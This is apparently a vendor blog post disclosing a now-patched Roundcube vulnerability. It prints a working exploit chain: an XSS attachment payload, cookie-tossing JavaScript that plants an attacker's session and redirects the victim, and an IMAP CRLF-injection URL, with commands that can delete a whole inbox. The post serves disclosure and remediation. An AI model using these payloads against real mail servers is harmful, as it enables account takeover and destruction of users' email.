Aikido

Roundcube XSS chained with cookie tossing for full inbox access

Written by
Jorian Woltjer

Roundcube is the most widely deployed open-source webmail client in the world. We recently found a dangerous vulnerability in the application! It’s a stored XSS that, chained with a cookie tossing technique, gives an attacker full access to a victim's inbox and, from there, any account that uses that email address for authentication or password recovery.

We discovered this by running our AI pentesting agents against a local Roundcube instance. All findings were reported responsibly to Nextcloud, the maintainers of Roundcube, via HackerOne (XSS disclosed at #3594137) and patched in version 1.6.14. 

In this piece, we'll go through what we did, how our agents found the vulnerability, and how a simple HTML injection could fully compromise a user's inbox.

The injection point

Every attack has a starting point. Let’s look at one that one of our agents picked up to audit.

Roundcube handles user-controlled content in a few different ways. Email bodies are the most scrutinized surface. These are heavily sanitized because they are displayed inline with the rest of the application.

HTML attachments are rendered via a separate endpoint in mail/get.php, with a Content Security Policy set to script-src 'none' to block JavaScript execution.

A third, more hidden endpoint handles inline attachments that have yet to be sent, temporarily viewable while composing an email. This is the endpoint we’ll be looking at. The display-attachment action handles this kind of requests:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

The function self::display_uploaded_file() is where the magic happens. As rcube_uploads.php shows, these kinds of attachments are returned directly with their original content type and body, with no sanitization, sandboxing and no Content Security Policy applied.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

How do we reach this endpoint, you may ask? While composing a new email inside Roundcube, you can attach a file to the temporary email, specifically an HTML file. We'll give it some malicious content:

<script>alert(origin)</script>

After uploading, clicking the attachment opens a pop-up that renders it using the get action, protected by a strong CSP. This is the safe path. The interesting part is what happens when you swap _action=get for _action=display-attachment:

Screenshot of Roundcube's compose window with an attached xss.html file. A popup shows the attachment rendered via the get action, with a blank white area where the script would execute, blocked by the Content Security Policy.
Viewing the attachment via the get action renders it in a sandboxed popup with a strong CSP, blocking script execution.

Take the original URL for this display:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Swapping _action=get for _action=display-attachment and dropping some unnecessary parameters gives you:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

This URL renders the same content, but without the CSP! So, the JavaScript inside our HTML executes, alerting the current origin and confirming XSS:

Screenshot shows pop-up with the attack, with the text "mail.target.local:19002 says http://mail.target.local:19002"
The attack works!

This is an interesting Self-XSS, but is this really a problem? If we're being realistic, a regular user isn't going to upload our XSS payload by themselves and continue to view it in this special way…

Looking at attachment_upload.php, you'll find that a compose_data_ session key must be set for your current user, and only that user can retrieve the attachment.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Since this is a temporary attachment tied to your current session only, there's no way to prepare a payload and have a victim trigger it by logging into the attacker's account, as we saw with Mailcow. The attacker's entire roundcube_sessid cookie would need to be copied over to the victim. Another impossible-sounding task.

Exploiting Self-XSS with Cookie Tossing

The Self-XSS we found looks unexploitable at first glance. The attachment is session-bound, so there's no way to prepare a payload for a victim without also handing them the attacker's session cookie. But the trouble actually isn’t over yet. That's where cookie tossing comes in.

In browsers, cookies have some interesting quirks, one of which is the Domain=attribute.

> Only the current domain can be set as the value, or a domain of a higher order, unless it is a public suffix. Setting the domain will make the cookie available to it, as well as to all its subdomains.

Cookies can be set not just for the current domain, but for a parent domain as well. A cookie set by sub.example.com with Domain=example.com becomes available to every subdomain under example.com, including ones like other.example.com that had nothing to do with setting it. This attack type is called Cookie Tossing, where one subdomain writes cookies that another subdomain will read.

This means all we need to exploit our vulnerability is control over a subdomain on the same domain as the target Roundcube domain. From there, a separate XSS vulnerability on something like xss.target.local can set the document.cookie property to write cookies with the Domain=target.local attribute. Once those cookies are set, the victim's browser will send them along to mail.target.local, where Roundcube loads the attacker's session instead of the victim's.

That session has the malicious HTML attachment ready and waiting. Navigating the victim to the attachment URL triggers the XSS payload inside Roundcube's origin, on the victim's browser, with no further interaction required.

In summary, what an attacker has to do to exploit it is:

  1. Log in to their own account, create a new email, and attach a malicious HTML file
  2. Copy the link to view (render) the attachment and the cookies
  3. From a subdomain vulnerable to XSS, set the cookie values using document.cookie with the Domain=attribute pointing to the target domain.
  4. Redirect the victim to the attachment link. The XSS triggers in the Roundcube origin.

Here's what the subdomain XSS payload looks like in practice, setting the session cookies and redirecting the victim to the attachment URL

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

From the subdomain XSS, the rest of the Roundcube exploit requires no further user interaction. All the security of Roundcube now relies on every same-site subdomain.

Screenshot of the local instance and the pop up, which is from the attack code

Full access

The alert popup in the screenshot above confirms XSS is executing on Roundcube's origin, but it doesn't demonstrate real impact on its own. There's still a problem. At this point we've loaded the attacker's session into the victim's browser, so any action taken will be on the attacker's account rather than the victim's. Great to deliver our payload, not so great for accessing things we wouldn't normally be able to.

If you look at the browser, cookies don't actually get replaced when we set a different Domain=. They're both sent!

Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER

When both cookies are present, the server picks the attacker's, since it appears last in the header. On the XSS payload, we want the attacker's cookies to be picked, while on all other endpoints afterward, we want the victim's cookies. Luckily, cookies have another attribute that perfectly solves this problem: Path=.

By setting a unique path like Path=/index.php/xss, which still points to the homepage, the cookies will only be sent when that path matches the request target. So for our requests:

  1. /index.php/xss sends roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER -> attacker's payload is returned
  2. / sends roundcube_sessauth=VICTIM -> victim's emails are returned

We just have to change the JavaScript exploit to set this new attribute, and navigate to /index.php/xss afterward to ensure the attacker's cookies are sent in this request for our payload, but after that our XSS is free to access the victim's account.

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

In the DevTools, we can see how the duplicate cookies are set up now:

Screenshot of Chrome DevTools Application tab showing four cookies for mail.target.local. Two are scoped to the path /index.php/xss on .target.local (the attacker's cookies), and two are scoped to the root path on mail.target.local (the victim's cookies).

While the conditions required to exploit this (account on Roundcube + Subdomain XSS) are a little tricky, the potential impact of a successful exploit is huge.

Email is the most widely trusted form of authentication, as many websites rely on "magic links" for sign-in or password recovery. When an attacker has access to your emails, they can trigger these kinds of password resets on all websites you have the email connected to. Then, they can read the email that this service sends to confirm and gain access to many more accounts.

Remediation

Update Roundcube to version 1.6.14 or later (1.6.x), or 1.5.14 or later (1.5.x LTS). All reported vulnerabilities are patched in this release. If you use Aikido, vulnerable Roundcube instances are automatically flagged in your surface monitoring feed as a medium finding.

Not on Aikido yet? Create a free account to get started, no credit card required.

Conclusion

While initially looking like a trivial XSS vulnerability, exploiting this required a bit more knowledge of cookies and sessions. Same-site subdomains are often given slightly more permissions than completely separate websites by the browser, another reason to ensure all your assets are secure.

This is a hard task, but as shown here, Aikido Attack can autonomously pentest web applications to find such vulnerabilities across your entire infrastructure.

The maintainers of Roundcube patched this vulnerability in version 1.6.14 by adding a script-src 'none' Content Security Policy, just like the rest of the attachments already had. This makes it impossible to execute JavaScript when returning arbitrary HTML.

Bonus: IMAP CRLF Injection via CSRF

During the same pentest, another agent found a second vulnerability that we found particularly interesting. After reporting this, it ended up being a duplicate that the Martila Security Research Team also found. Still, we found it interesting enough to briefly explain the details of this vulnerability here.

The /?_task=mail&_action=search endpoint passes the client-supplied _filter parameter directly into the IMAP SEARCH command in rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

While the function seems to separate the command from its arguments, the implementation of execute() simply concatenates them without sanitization:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

By injecting a Carriage Return & Line Feed (CRLF, %0D%0A) characters, an attacker can break out of the SEARCH parameters and inject additional IMAP commands within the authenticated user's IMAP session.

With this, you can not only search emails but also add folders, move emails, or delete the entire inbox, since these are all raw IMAP commands.

Below is an example filter set to ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Visiting it sends the following data to IMAP, with the injected CREATE command that executes after the search:

X006 SEARCH ALL
X007 CREATE EvilFolder

The effect of this can then be seen in the Roundcube UI:

The Roundcube UI on the Folders tab, with "EvilFolder" at the bottom

Because this is a simple GET request, visiting the above link is all that's needed to execute the commands. With it, a single click of a link could permanently delete all emails (X001 UID STORE 1:* FLAGS \Deleted followed by X002 EXPUNGE), resulting in a big loss of data.

This vulnerability is now patched by removing \r\n characters from search queries.

Share:

https://www.aikido.dev/blog/roundcube-xss-cookie-tossing

Start today, for free.

Start for Free
No CC required

Subscribe for threat news.

4.7/5
Tired of false positives?

Try Aikido like 100k others.
Start Now
Get a personalized walkthrough

Trusted by 100k+ teams

Book Now
Scan your app for IDORs and real attack paths

Trusted by 100k+ teams

Start Scanning
See how AI pentests your app

Trusted by 100k+ teams

Start Testing

Get secure now

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required | Scan results in 32secs.